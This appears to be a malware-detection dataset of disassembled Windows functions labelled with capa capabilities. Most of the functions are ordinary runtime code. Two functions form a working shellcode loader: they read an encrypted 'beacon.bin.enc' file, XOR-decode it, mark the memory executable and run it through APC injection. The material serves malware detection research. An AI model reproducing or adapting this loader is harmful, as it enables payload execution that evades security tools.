joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800f6270
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov qword [rsp + 0x28], 0x1c
mov byte [rsp + 0x30], 0xce
mov byte [rsp + 0x31], 0xed
mov byte [rsp + 0x32], 0x5d
mov byte [rsp + 0x33], 0x40
mov byte [rsp + 0x34], 0x54
mov byte [rsp + 0x35], 0xd0
mov byte [rsp + 0x36], 0xd9
mov byte [rsp + 0x37], 0x4f
mov byte [rsp + 0x38], 0x4d
mov byte [rsp + 0x39], 0xf6
mov byte [rsp + 0x3a], 0xdd
mov byte [rsp + 0x3b], 0xc1
mov byte [rsp + 0x3c], 0xfb
mov byte [rsp + 0x3d], 0xed
mov byte [rsp + 0x3e], 0x48
mov byte [rsp + 0x3f], 0x67
mov byte [rsp + 0x40], 0x72
mov byte [rsp + 0x41], 0xd6
mov byte [rsp + 0x42], 0xca
mov byte [rsp + 0x43], 0x49
mov byte [rsp + 0x44], 0x48
mov byte [rsp + 0x45], 0xce
mov byte [rsp + 0x46], 0xe0
mov byte [rsp + 0x47], 0xc4
mov byte [rsp + 0x48], 0xe0
mov byte [rsp + 0x49], 0xfc
mov byte [rsp + 0x4a], 0x5a
mov byte [rsp + 0x4b], 3
mov eax, 0xa28
mov eax, eax
mov ecx, dword [0x181b8e144]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x1800f63ab
mov eax, 0xa28
mov eax, eax
mov ecx, dword [0x181b8e144]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov dword [rsp + 0x20], eax
mov eax, dword [0x181b8e144]
mov rcx, qword gs:[0x58]
mov edx, 0xa28
mov edx, edx
mov rax, qword [rcx + rax*8]
mov ecx, dword [rsp + 0x20]
mov dword [rdx + rax], ecx
mov eax, 0xa08
mov eax, eax
mov ecx, dword [0x181b8e144]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.180028ca0
lea rcx, [0x18010ed10]
call fcn.1800f9df4
nop
mov eax, 0xa08
mov eax, eax
mov ecx, dword [0x181b8e144]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
add rsp, 0x58
ret
Function at 0x1800f6b80
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov qword [rsp + 0x28], 0x41
mov byte [rsp + 0x30], 0xbc
mov byte [rsp + 0x31], 0xb8
mov byte [rsp + 0x32], 0xea
mov byte [rsp + 0x33], 0xed
mov byte [rsp + 0x34], 0xeb
mov byte [rsp + 0x35], 0xc9
mov byte [rsp + 0x36], 0x6e
mov byte [rsp + 0x37], 0xe3
mov byte [rsp + 0x38], 0x4b
mov byte [rsp + 0x39], 0x1a
mov byte [rsp + 0x3a], 0x65
mov byte [rsp + 0x3b], 0x42
mov byte [rsp + 0x3c], 0xec
mov byte [rsp + 0x3d], 0xbd
mov byte [rsp + 0x3e], 0xb9
mov byte [rsp + 0x3f], 0xbb
mov byte [rsp + 0x40], 0xbc
mov byte [rsp + 0x41], 0x9e
mov byte [rsp + 0x42], 0x33
mov byte [rsp + 0x43], 0xb5
mov byte [rsp + 0x44], 0x4d
mov byte [rsp + 0x45], 0x40
mov byte [rsp + 0x46], 0x65
mov byte [rsp + 0x47], 0x11
mov byte [rsp + 0x48], 0xe8
mov byte [rsp + 0x49], 0xbf
mov byte [rsp + 0x4a], 0xbf
mov byte [rsp + 0x4b], 0xef
mov byte [rsp + 0x4c], 0xba
mov byte [rsp + 0x4d], 0x99
mov byte [rsp + 0x4e], 0x32
mov byte [rsp + 0x4f], 0xb7
mov byte [rsp + 0x50], 0x18
mov byte [rsp + 0x51], 0x16
mov byte [rsp + 0x52], 0x31
mov byte [rsp + 0x53], 0x18
mov byte [rsp + 0x54], 0xb9
mov byte [rsp + 0x55], 0xbc
mov byte [rsp + 0x56], 0xbe
mov byte [rsp + 0x57], 0xea
mov byte [rsp + 0x58], 0xbe
mov byte [rsp + 0x59], 0x98
mov byte [rsp + 0x5a], 0x39
mov byte [rsp + 0x5b], 0xb4
mov byte [rsp + 0x5c], 0x4f
mov byte [rsp + 0x5d], 0x41
mov byte [rsp + 0x5e], 0x3a
mov byte [rsp + 0x5f], 0x43
mov byte [rsp + 0x60], 0xec
mov byte [rsp + 0x61], 0xb0
mov byte [rsp + 0x62], 0xbf
mov byte [rsp + 0x63], 0xbc
mov byte [rsp + 0x64], 0xea
mov byte [rsp + 0x65], 0x9f
mov byte [rsp + 0x66], 0x38
mov byte [rsp + 0x67], 0xb9
mov byte [rsp + 0x68], 0x10
mov byte [rsp + 0x69], 0x47
mov byte [rsp + 0x6a], 0x32
mov byte [rsp + 0x6b], 0x46
mov byte [rsp + 0x6c], 0xea
mov byte [rsp + 0x6d], 0xef
mov byte [rsp + 0x6e], 0xec
mov byte [rsp + 0x6f], 0xbe
mov byte [rsp + 0x70], 0x89
mov eax, 0xb34
mov eax, eax
mov ecx, dword [0x181b8e144]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x1800f6d77
mov eax, 0xb34
mov eax, eax
mov ecx, dword [0x181b8e144]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov dword [rsp + 0x20], eax
mov eax, dword [0x181b8e144]
mov rcx, qword gs:[0x58]
mov edx, 0xb34
mov edx, edx
mov rax, qword [rcx + rax*8]
mov ecx, dword [rsp + 0x20]
mov dword [rdx + rax], ecx
mov eax, 0xaf0
mov eax, eax
mov ecx, dword [0x181b8e144]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.1800f5870
lea rcx, [0x18010ef50]
call fcn.1800f9df4
nop
mov eax, 0xaf0
mov eax, eax
mov ecx, dword [0x181b8e144]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
add rsp, 0x88
ret
Function at 0x180104f14
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x180104f44
xor eax, eax
jmp 0x180105007
mov rbp, rbx
cmp word [rax], si
je 0x180104f69
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180104f50
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x180104f4c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180104e34
movsxd r14, eax
test eax, eax
jne 0x180104fa7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x180104f3d
mov rcx, r14
call fcn.180101b34
mov rdi, rax
test rax, rax
jne 0x180104fc0
xor ecx, ecx
call fcn.180102fe0
jmp 0x180104f9c
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180104e34
test eax, eax
jne 0x180104ff1
mov rcx, rdi
call fcn.180102fe0
jmp 0x180104ffb
xor ecx, ecx
call fcn.180102fe0
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400065b0
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3d0], rcx
mov qword [rbp + 0x3d8], 0
mov qword [rbp + 0x3e0], 2
mov qword [rbp + 0x3e8], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3c8], rax
xor esi, esi
xor edi, edi
xor ebx, ebx
cmp r8, 0x201
jae 0x140006650
jmp 0x14000663f
jae 0x14000670f
cmp r8, 0x201
jae 0x140006650
mov r14d, 0x200
lea r15, [rbp - 0x58]
mov r12, r8
jmp 0x1400066a7
sub r8, rbx
sub rdi, rbx
cmp rdi, r8
jae 0x14000667f
lea rcx, [rbp + 0x3d8]
mov rdx, rbx
call fcn.14001e590
mov rsi, qword [rbp + 0x3d8]
mov rax, qword [rbp + 0x3e0]
mov qword [rbp + 0x3c8], rax
mov eax, 0xffffffff
cmp rsi, rax
mov ebx, 0xffffffff
cmovb rbx, rsi
mov qword [rbp + 0x3e8], rbx
mov rdi, rsi
mov r14, rbx
mov r15, qword [rbp + 0x3c8]
mov r12, rbx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov ecx, r12d
mov rdx, r15
call qword [sym.imp.kernel32.dll_GetCurrentDirectoryW]
mov r13d, eax
test eax, eax
jne 0x1400066d0
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x14000677b
mov r8d, r13d
cmp r12, r8
jne 0x140006630
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400067af
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov r8, r12
cmp r8, 0x201
jb 0x14000663f
jmp 0x140006650
cmp r14, r8
jb 0x1400067c9
lea rcx, [rbp + 0x3a8]
mov rdx, r15
call fcn.1400086f0
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3d0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rdx, qword [rbp + 0x3d8]
test rdx, rdx
je 0x140006764
mov rcx, qword [rbp + 0x3e0]
add rdx, rdx
mov r8d, 2
call fcn.1400034c0
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3d0]
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
mov qword [rsi], rax
mov rdx, qword [rbp + 0x3d8]
test rdx, rdx
jne 0x14000674f
jmp 0x140006764
lea rcx, str.internal_error:_entered_unreachable_code_rustc_129f3b9964af4d4a709d1383930ade12dfe7c081library_alloc_src_vecmod.rs
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
call fcn.14001f260
jmp 0x1400067de
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, r14
mov r8, rax
call fcn.14001f5b0
ud2
Function at 0x140006d30
Capabilities:
Create directory

Disassembly:
push rbp
mov rbp, rsp
cmp byte [rcx], 0
je 0x140006d45
mov rcx, rdx
mov rdx, r8
pop rbp
jmp fcn.140006d60
mov rcx, rdx
mov rdx, r8
pop rbp
jmp fcn.14000df40

Function at 0x14000df40
Capabilities:
Create directory

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov r8, rdx
mov rdx, rcx
lea rcx, [rbp - 0x10]
call fcn.14000f880
mov rax, qword [rbp - 0x10]
mov rsi, qword [rbp - 8]
movabs rbx, 0x8000000000000000
cmp rax, rbx
je 0x14000dfa0
mov rcx, qword [rbp]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], rcx
lea rcx, [rbp - 0x40]
lea rdx, [rbp - 0x28]
mov r8b, 1
call fcn.140010430
mov rdi, qword [rbp - 0x40]
mov rsi, qword [rbp - 0x38]
cmp rdi, rbx
jne 0x14000dfac
mov rax, rsi
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rcx, rsi
xor edx, edx
call qword [sym.imp.kernel32.dll_CreateDirectoryW]
test eax, eax
je 0x14000dfd8
test rdi, rdi
je 0x14000e004
add rdi, rdi
mov r8d, 2
mov rcx, rsi
mov rdx, rdi
call fcn.1400034c0
xor eax, eax
jmp 0x14000dfa3
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
test rdi, rdi
je 0x14000dfa3
add rdi, rdi
mov r8d, 2
mov rcx, rsi
mov rdx, rdi
mov rsi, rax
call fcn.1400034c0
jmp 0x14000dfa0
xor eax, eax
jmp 0x14000dfa3
Function at 0x14000e410
Capabilities:
Copy file

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x90
lea rbp, [rsp + 0x80]
mov qword [rbp + 8], 0xfffffffffffffffe
mov rsi, r9
mov rdi, r8
mov r8, rdx
mov rdx, rcx
lea rcx, [rbp - 0x38]
call fcn.14000f880
mov rax, qword [rbp - 0x38]
mov rdx, qword [rbp - 0x30]
movabs rbx, 0x8000000000000000
cmp rax, rbx
je 0x14000e486
mov rcx, qword [rbp - 0x28]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov qword [rbp - 0x10], rcx
lea rcx, [rbp - 0x50]
lea rdx, [rbp - 0x20]
mov r8b, 1
call fcn.140010430
mov rax, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x48]
cmp rax, rbx
jne 0x14000e499
mov eax, 1
add rsp, 0x90
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov qword [rbp], rax
mov qword [rbp - 8], rdx
lea rcx, [rbp - 0x38]
mov rdx, rdi
mov r8, rsi
call fcn.14000f880
mov rax, qword [rbp - 0x38]
mov rdx, qword [rbp - 0x30]
cmp rax, rbx
je 0x14000e4ea
mov rcx, qword [rbp - 0x28]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov qword [rbp - 0x10], rcx
lea rcx, [rbp - 0x50]
lea rdx, [rbp - 0x20]
mov r8b, 1
call fcn.140010430
mov rsi, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x48]
cmp rsi, rbx
jne 0x14000e51d
mov rcx, qword [rbp - 8]
mov r14, qword [rbp]
mov eax, 1
test r14, r14
je 0x14000e48b
add r14, r14
mov r8d, 2
mov rsi, rdx
mov rdx, r14
call fcn.1400034c0
mov eax, 1
mov rdx, rsi
jmp 0x14000e48b
mov qword [rbp - 0x20], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r8, [0x14000e630]
lea r9, [rbp - 0x20]
mov rcx, qword [rbp - 8]
mov rbx, rcx
mov rdi, rdx
call qword [sym.imp.kernel32.dll_CopyFileExW]
test eax, eax
mov r14, qword [rbp]
je 0x14000e5a2
mov rdx, qword [rbp - 0x20]
test rsi, rsi
je 0x14000e57c
add rsi, rsi
mov r8d, 2
mov rcx, rdi
mov rdi, rdx
mov rdx, rsi
call fcn.1400034c0
mov rdx, rdi
test r14, r14
je 0x14000e59b
add r14, r14
mov r8d, 2
mov rcx, rbx
mov rsi, rdx
mov rdx, r14
call fcn.1400034c0
mov rdx, rsi
xor eax, eax
jmp 0x14000e48b
call qword [sym.imp.kernel32.dll_GetLastError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
test rsi, rsi
je 0x14000e5d1
add rsi, rsi
mov r8d, 2
mov rcx, rdi
mov rdi, rdx
mov rdx, rsi
call fcn.1400034c0
mov rdx, rdi
mov rcx, rbx
mov eax, 1
test r14, r14
jne 0x14000e4fc
jmp 0x14000e48b
Function at 0x14000e650
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
mov rsi, rcx
movups xmm0, xmmword [0x1400222d0]
movaps xmmword [rbp], xmm0
mov eax, 0xffffffff
cmp r8, rax
cmovb rax, r8
test r9, r9
je 0x14000e688
mov rcx, qword [rbp + 0x60]
mov qword [rbp - 0x30], rcx
test r9, r9
mov qword [rbp - 0x38], r9
lea rcx, [rbp - 0x30]
cmove rcx, r9
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdx
mov rax, rbp
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x14000e6e6
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rbp]
cmp eax, 0x103
je 0x14000e713
test eax, eax
js 0x14000e6f2
mov rdx, qword [rbp + 8]
xor eax, eax
jmp 0x14000e709
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
add rsp, 0xa8
pop rsi
pop rbp
ret
mov dword [rbp + 0x18], 0
mov byte [rbp + 0x1c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rax, [rbp + 0x20]
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rcx, [rbp + 0x18]
lea rdx, [rbp - 0x38]
call fcn.140008440
mov qword [rbp - 8], rax
lea rcx, [rbp - 8]
call fcn.140004a70
mov ecx, 7
int 0x29
ud2
Function at 0x14001c4c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
test r8, r8
je 0x14001c54a
mov rax, rdx
mov rdx, qword [rbp + 0x50]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x14001c540
cmp r11, r10
ja 0x14001c5c6
cmp r10, rdx
ja 0x14001c5d8
add r11, r9
xor ebx, ebx
nop word cs:[rax + rax]
cmp rdi, rbx
je 0x14001c542
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x14001c520
jmp 0x14001c5a7
ja 0x14001c54a
mov r11, r10
cmp rax, r8
jne 0x14001c4e7
mov rdx, qword [rbp + 0x60]
test rdx, rdx
je 0x14001c5ab
mov r8, qword [rbp + 0x58]
add rdx, r8
movzx ecx, cx
mov al, 1
nop
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x14001c580
mov r8, r10
sub ecx, r9d
jns 0x14001c59e
jmp 0x14001c5ad
cmp r10, rdx
je 0x14001c5ba
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x14001c5ad
xor al, 1
cmp r8, rdx
jne 0x14001c560
jmp 0x14001c5ad
xor eax, eax
jmp 0x14001c5ad
mov al, 1
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.14001f160
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.14001f5c0
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14001f5b0
int3

Function at 0x14001ddd4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x14001de1e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001de1e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001de1e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001de1e
cmp dword [rcx + 0x84], 0xe
jbe 0x14001de1e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001de20
xor al, al
add rsp, 0x28
ret
Function at 0x140001070
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 8], rax
mov rdi, rcx
mov dword [rbp - 0x28], 0x74726956
lea rcx, [rbp - 0x38]
mov dword [rbp - 0x24], 0x416c6175
mov rbx, rdx
mov dword [rbp - 0x20], 0x636f6c6c
mov byte [rbp - 0x1c], 0
mov dword [rbp - 0x38], 0x6e72656b
mov dword [rbp - 0x34], 0x32336c65
mov dword [rbp - 0x30], 0x6c6c642e
mov byte [rbp - 0x2c], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r9d, 4
mov r8d, 0x1000
mov rdx, rbx
xor ecx, ecx
call rax
mov rsi, rax
mov dword [rbp - 0x18], 0x74726956
xor eax, eax
mov dword [rbp - 0x14], 0x506c6175
mov dword [rbp - 0x10], 0x65746f72
mov word [rbp - 0xc], 0x7463
mov byte [rbp - 0xa], 0
test rbx, rbx
je 0x14000115c
xor ecx, ecx
lea rdx, [0x140003334]
mov r9, rdi
mov r10, rbx
nop word [rax + rax]
xor r8d, r8d
lea r9, [r9 + 1]
cmp eax, 4
cmovb r8, rcx
movzx ecx, byte [r8 + rdx]
xor byte [r9 - 1], cl
xor ecx, ecx
cmp eax, 4
cmovb ecx, eax
lea eax, [rcx + 1]
lea rcx, [r8 + 1]
sub r10, 1
jne 0x140001130
mov r8, rbx
mov rdx, rdi
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rbp - 0x40]
mov r8d, 0x40
mov rdx, rbx
mov rcx, rsi
call rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtTestAlert
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
mov rcx, rsi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
call rbx
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140001320
mov rbx, qword [rsp + 0x90]
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400011f0
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x38
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [0x1400032cc]
lea rdx, str.C:UsersEDRUserDesktop_beacon.bin.enc
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
test eax, eax
je 0x140001252
lea rdx, str.C:UsersEDRUserDesktop_beacon.bin.enc
lea rcx, str.Could_not_open_file:__s_n
call fcn.140001010
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140001320
add rsp, 0x38
ret
mov rcx, qword [rsp + 0x20]
xor edx, edx
mov qword [rsp + 0x40], rbx
mov r8d, 2
mov qword [rsp + 0x30], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov rcx, qword [rsp + 0x20]
xor r8d, r8d
xor edx, edx
movsxd rdi, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
jne 0x1400012b7
lea rcx, str.Memory_allocation_failed_n
call fcn.140001010
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
jmp 0x1400012ec
mov r9, qword [rsp + 0x20]
mov r8, rdi
mov edx, 1
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rdx, rdi
mov rcx, rbx
call fcn.140001070
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [rsp + 0x40]
xor eax, eax
mov rdi, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140001320
add rsp, 0x38
ret

Function at 0x140001be0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c2a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c2a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c2a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c2a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c2a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c2c
xor al, al
add rsp, 0x28
ret
Function at 0x1400017c0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140002600
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140002600
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140001830
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140007094]
test esi, esi
mov rbx, rcx
jle 0x140001960
mov rax, qword [0x140007098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000187b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001905
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001860
mov rcx, rbx
call fcn.1400022a0
test rax, rax
mov rdi, rax
je 0x140001982
mov rax, qword [0x140007098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400023e0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140007098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001967
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400018fe
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001910
add dword [0x140007094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140007098]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400018fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400017c0
nop dword [rax]
xor esi, esi
jmp 0x140001888
mov rax, qword [0x140007098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.1400017c0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.1400017c0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001ef0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x140001f4c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140001f43
test rsi, rsi
je 0x140001f43
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
